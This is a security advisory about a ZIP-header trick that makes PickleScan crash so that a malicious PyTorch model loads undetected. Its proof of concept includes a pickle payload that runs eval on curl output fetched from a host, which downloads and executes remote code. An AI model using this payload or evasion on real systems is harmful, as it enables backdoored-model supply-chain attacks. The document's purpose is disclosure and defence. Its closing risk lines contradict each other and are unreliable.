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GHSA-7q5r-7gvp-wc82
No affected components available
Summary
PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.
Details
Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.
PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.
PoC
import os
import torch
class RemoteCodeExecution:
def __reduce__(self):
return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",)
model = RemoteCodeExecution()
file = "does_not_scan_but_opens_in_torch.pth"
torch.save(model, file)
# modify the header to cause the zip file to raise execution in picklescan
with open(file, "rb") as f:
data = f.read()
# Replace only the first occurrence of "data.pkl" with "datap.kl"
modified_data = data.replace(b"data.pkl", b"datap.kl", 1)
# Write back the modified content
with open(file, "wb") as f:
f.write(modified_data)
# Load the infected model
torch.load(file)
Impact
Severity: High
-
Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.
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What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.
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Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.
Recommendations
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Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.
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Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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